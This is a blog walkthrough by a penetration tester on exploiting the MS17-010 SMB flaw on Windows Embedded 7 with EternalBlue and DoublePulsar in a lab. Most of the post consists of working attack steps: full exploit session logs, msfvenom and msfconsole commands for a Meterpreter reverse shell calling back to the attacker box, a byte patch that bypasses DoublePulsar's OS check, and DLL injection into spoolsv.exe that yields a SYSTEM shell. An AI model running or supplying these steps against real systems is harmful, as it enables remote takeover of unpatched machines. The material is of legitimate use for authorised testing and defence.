The recent wave of WannaCry ransomware attacks has shed a lot of public light on the Windows SMB remote code execution vulnerability patched by MS17-010 and has fortunately resulted in organizations applying the security update to prevent further infections. While much of the focus has been on patching desktops and servers, it’s easy for many organizations to continue to neglect devices running the Windows Embedded 7 OS.
I am nearing completion of a very long and complex pen test of an environment made up completely of networked embedded devices, so when the Equation Group’s Fuzzbunch framework was released publicly, I figured it would be perfect for a few boxes I was struggling to gain complete access to.
I needed to do some tweaking to get the current tools to work, but in the end, the attack worked as expected and probably will continue to work for a long time given the general lack of patching of embedded devices. I found the following posts especially helpful as I worked through this exercise, so many thanks to the authors!
- https://www.smittix.co.uk/exploiting-ms17-010-using-eternalblue-and-doublepulsar-to-gain-a-remote-meterpreter-shell/ (@iamsmittix)
- https://www.exploit-db.com/docs/41896.pdf (@UnaPibaGeek)
Failed exploit attempts
I first tried using the
exploit/windows/smb/ms17_010_eternalblue Metasploit module, but each attempt resulted in a blue screen no matter which payload I tried. I finally found that it has only been ported to x64 at this time, and the authors clearly state that attempts to exploit an x86 device will crash it.
I then figured I’d go straight to the Fuzzbench framework which I know works against x86 devices. I was able to easily plant a backdoor using the EternalBlue tool, but the DoublePulsar implant was not developed with Windows Embedded 7 in mind and exploit attempts would throw an error upon execution:
[?] Execute Plugin? [Yes] : [*] Executing Plugin [+] Selected Protocol SMB [.] Connecting to target... [+] Connected to target, pinging backdoor... [+] Backdoor returned code: 10 - Success! [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0xED937C35 SMB Connection string is: Windows Embedded Standard 7601 Service Pack 1 [-] ERROR unrecognized OS string Target SP is: 1 [!] Plugin failed [-] Error: Doublepulsar Failed fb Payload (Doublepulsar) >
At this point, I figured my best option would be to make the original DoublePulsar implant work for my needs instead of trying to reverse engineer everything and create my own attack from scratch. I will not go in-depth into the background of these commands, since the two posts I linked to above already do a great job of explaining the setup process.
For this walk-through, I have three VMs set up as follows:
- Kali - Meterpreter Listener Attack VM (172.16.16.200)
- Windows 7 - Fuzzbunch Attack VM (172.16.16.201)
- Windows Embedded Standard 7 - Victim VM (172.16.16.202)
Initial backdoor planting
The initial attack is executed from the Win7 attack box using the EternalBlue attack within the Fuzzbunch framework with minimal deviations from the defaults:
[?] Default Target IP Address  : 172.16.16.202 [?] Default Callback IP Address  : 172.16.16.201 [?] Use Redirection [yes] : no [?] Base Log directory [C:\shadowbroker\shadowbroker-master\windows\logs] : [*] Checking C:\shadowbroker\shadowbroker-master\windows\logs for projects Index Project ----- ------- 0 Create a New Project [?] Project  : 0 [?] New Project Name : EternalBlue [?] Set target log directory to 'C:\shadowbroker\shadowbroker-master\windows\logs\eternalblue\z172.16.16.202'? [Yes] : [*] Initializing Global State [+] Set TargetIp => 172.16.16.202 [+] Set CallbackIp => 172.16.16.201 [!] Redirection OFF [+] Set LogDir => C:\shadowbroker\shadowbroker-master\windows\logs\eternalblue\z172.16.16.202 [+] Set Project => eternalblue fb > use EternalBlue [!] Entering Plugin Context :: Eternalblue [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 172.16.16.202 [*] Applying Session Parameters [*] Running Exploit Touches [!] Enter Prompt Mode :: Eternalblue Module: Eternalblue =================== Name Value ---- ----- NetworkTimeout 60 TargetIp 172.16.16.202 TargetPort 445 VerifyTarget True VerifyBackdoor True MaxExploitAttempts 3 GroomAllocations 12 Target WIN72K8R2 [!] plugin variables are valid [?] Prompt For Variable Settings? [Yes] : [*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout  : [*] TargetIp :: Target IP Address [?] TargetIp [172.16.16.202] : [*] TargetPort :: Port used by the SMB service for exploit connection [?] TargetPort  : [*] VerifyTarget :: Validate the SMB string from target against the target selected before exploitation. [?] VerifyTarget [True] : false [+] Set VerifyTarget => false [*] VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts. [?] VerifyBackdoor [True] : [*] MaxExploitAttempts :: Number of times to attempt the exploit and groom. Disabled for XP/2K3. [?] MaxExploitAttempts  : [*] GroomAllocations :: Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do. [?] GroomAllocations  : [*] Target :: Operating System, Service Pack, and Architecture of target OS 0) XP Windows XP 32-Bit All Service Packs *1) WIN72K8R2 Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs [?] Target  : [!] Preparing to Execute Eternalblue [*] Mode :: Delivery mechanism *0) DANE Forward deployment via DARINGNEOPHYTE 1) FB Traditional deployment from within FUZZBUNCH [?] Mode  : 1 [+] Run Mode: FB [?] This will execute locally like traditional Fuzzbunch plugins. Are you sure? (y/n) [Yes] : [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [172.16.16.202] : [?] Destination Port  : [+] (TCP) Local 172.16.16.202:445 [+] Configure Plugin Remote Tunnels Module: Eternalblue =================== Name Value ---- ----- DaveProxyPort 0 NetworkTimeout 60 TargetIp 172.16.16.202 TargetPort 445 VerifyTarget False VerifyBackdoor True MaxExploitAttempts 3 GroomAllocations 12 ShellcodeBuffer Target WIN72K8R2 [?] Execute Plugin? [Yes] : [*] Executing Plugin [*] Connecting to target for exploitation. [+] Connection established for exploitation. [*] Pinging backdoor... [+] Backdoor not installed, game on. [*] Building exploit buffer [*] Sending all but last fragment of exploit packet ................DONE. [*] Sending SMB Echo request [*] Good reply from SMB Echo request [*] Starting non-paged pool grooming [+] Sending SMBv2 buffers .............DONE. [+] Sending large SMBv1 buffer..DONE. [+] Sending final SMBv2 buffers......DONE. [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] Sending SMB Echo request [*] Good reply from SMB Echo request [*] Sending last fragment of exploit packet! DONE. [*] Receiving response from exploit packet [+] ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] Sending egg to corrupted connection. [*] Triggering free of corrupted buffer. [*] Pinging backdoor... [+] Backdoor returned code: 10 - Success! [+] Ping returned Target architecture: x86 (32-bit) [+] Backdoor installed =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] CORE sent serialized output blob (2 bytes): 0x00000000 08 00 .. [*] Received output parameters from CORE [+] CORE terminated with status code 0x00000000 [+] Eternalblue Succeeded fb Special (Eternalblue) >
First, let’s start up a listener in a
screen session on the Kali box to wait for the victim to call back to.
$ screen -S listener $ msfconsole -q -x "use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST 172.16.16.200;set LPORT 4444; run; exit -y"
The screen session can be detached (left running) by hitting
Next, we need to prepare a meterpreter DLL for injection using msfvenom on the Kali box.
$ msfvenom -p windows/meterpreter/reverse_tcp -f dll -o /tmp/met_launcher_4444.dll EXITFUNC=thread LHOST=172.16.16.200 LPORT=4444
We’ll need to get the DLL over to the Win7 attack box, so my preferred way of doing that on my own network is:
$ screen -S web $ cd /tmp $ python -m SimpleHTTPServer 8000
Again, the screen session can be detached (left running) by hitting
Now over on the Win 7 attack box, we just open a browser to http://172.16.16.200:8000 and save the
met_launcher_4444.dll file to
Modifying DoublePulsar for Windows Embedded 7
Remember when DoublePulsar ran against the Windows Embedded 7 device, it resulted in an error message:
[-] ERROR unrecognized OS string.
So let’s open the
Doublepulsar-1.3.1.exe executable (found in the
\windows\payloads\ subdirectory of the shadowbroker files) in IDA to see why that error message is generated and attempt to patch it to work with other OS versions.
We can see the string at
Double-clicking on the string will bring it up in the
DATA XREF section will bring it up in the
.text section. Right-clicking and choosing
Graph view will provide a better idea of the flow of this routine.
This gives us a graph that looks very promising for something like an OS version checking routine. Notice the section that we jumped to is in the bottom right corner of this graph, so we can traverse upwards to see how we got here.
A few levels up, we find the Windows 7 check. The problem we’re having is our OS version string isn’t matching the one checked here, so the code drops down to the next OS check. The best thing to do would be to add our own branch here to check specifically for the OS version string we expect, but I’m going to take a terrible shortcut for the purposes of this post to determine if this attack is even viable with the OS before spending a lot of time making a proper patch.
So the easiest thing to do here is just simply change the
jz to a
jnz. First, let’s check what the opcodes for
jnz are so we know what to change. It looks like
We can change the bytes by using the
Edit | Patch program | Change bytes menu in IDA. Note it starts with the
74 opcode that we expected. Simply changing that to
75 will switch the path the program takes to kick this down the Win7 path. Again, this is really hacky and a terrible shortcut but we can always come back and make a proper patch after verifying this works.
Now we can see the updated
In order to patch the exe, we’ll first need to create a DIF file by going to
File | Produce File | Create DIF file. Then, we can use @stalkr_’s script to patch the executable.
C:\Users\Admin\Desktop>c:\Python26\python.exe idadif.py c:\shadowbroker\shadowbroker-master\windows\payloads\Doublepulsar-1.3.1.exe c:\shadowbroker\shadowbroker-master\windows\payloads\Doublepulsar-126.96.36.199.dif Patching file 'c:\\shadowbroker\\shadowbroker-master\\windows\\payloads\\Doublepulsar-1.3.1.exe' with 'c:\\shadowbroker\\shadowbroker-master\\windows\\payloads\\Doublepulsar-188.8.131.52.dif' Done
Execute DoublePulsar payload to gain a Meterpreter shell
Now that we have a listener setup on Kali, and a DLL ready to be injected that will make the victim call back to Kali, all we have left to do is actually inject the DLL using our modified version of DoublePulsar.
[!] Plugin Variables are NOT Valid [?] Prompt For Variable Settings? [Yes] : [*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout  : [*] TargetIp :: Target IP Address [?] TargetIp [172.16.16.202] : [*] TargetPort :: Port used by the Double Pulsar back door [?] TargetPort  : [*] Protocol :: Protocol for the backdoor to speak *0) SMB Ring 0 SMB (TCP 445) backdoor 1) RDP Ring 0 RDP (TCP 3389) backdoor [?] Protocol  : [*] Architecture :: Architecture of the target OS *0) x86 x86 32-bits 1) x64 x64 64-bits [?] Architecture  : [*] Function :: Operation for backdoor to perform *0) OutputInstall Only output the install shellcode to a binary file on disk. 1) Ping Test for presence of backdoor 2) RunDLL Use an APC to inject a DLL into a user mode process. 3) RunShellcode Run raw shellcode 4) Uninstall Remove's backdoor from system [?] Function  : 2 [+] Set Function => RunDLL [*] DllPayload :: DLL to inject into user mode [?] DllPayload  : c:\met_launcher_4444.dll [*] DllOrdinal :: The exported ordinal number of the DLL being injected to call [?] DllOrdinal  : [*] ProcessName :: Name of process to inject into [?] ProcessName [lsass.exe] : spoolsv.exe [+] Set ProcessName => spoolsv.exe [*] ProcessCommandLine :: Command line of process to inject into [?] ProcessCommandLine  : [!] Preparing to Execute Doublepulsar [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [172.16.16.202] : [?] Destination Port  : [+] (TCP) Local 172.16.16.202:445 [+] Configure Plugin Remote Tunnels Module: Doublepulsar ==================== Name Value ---- ----- NetworkTimeout 60 TargetIp 172.16.16.202 TargetPort 445 DllPayload c:\met_launcher_4444.dll DllOrdinal 1 ProcessName spoolsv.exe ProcessCommandLine Protocol SMB Architecture x86 Function RunDLL [?] Execute Plugin? [Yes] : [*] Executing Plugin [+] Selected Protocol SMB [.] Connecting to target... [+] Connected to target, pinging backdoor... [+] Backdoor returned code: 10 - Success! [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x6B075D17 SMB Connection string is: Windows Embedded Standard 7601 Service Pack 1 Target OS is: 7 x86 Target SP is: 1 [+] Backdoor installed [+] DLL built [.] Sending shellcode to inject DLL [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Command completed successfully [+] Doublepulsar Succeeded fb Payload (Doublepulsar) >
It looks like this worked, so let’s flip over to our
screen session on the Kali box.
$ screen -dr listener
And here is our Meterpreter session running under the SYSTEM account!
To make this attack better, the DoublePulsar exe should really be patched with some proper code and incorporated back into the master Github repo, but that will have to wait for now. Regardless, it looks like work is underway to port the attack over to x86 in Metasploit anyways, so once that happens it will be much easier to attack most Windows-based embedded devices.
Contact the author directly at @brkr19 if you have any questions or comments about this post!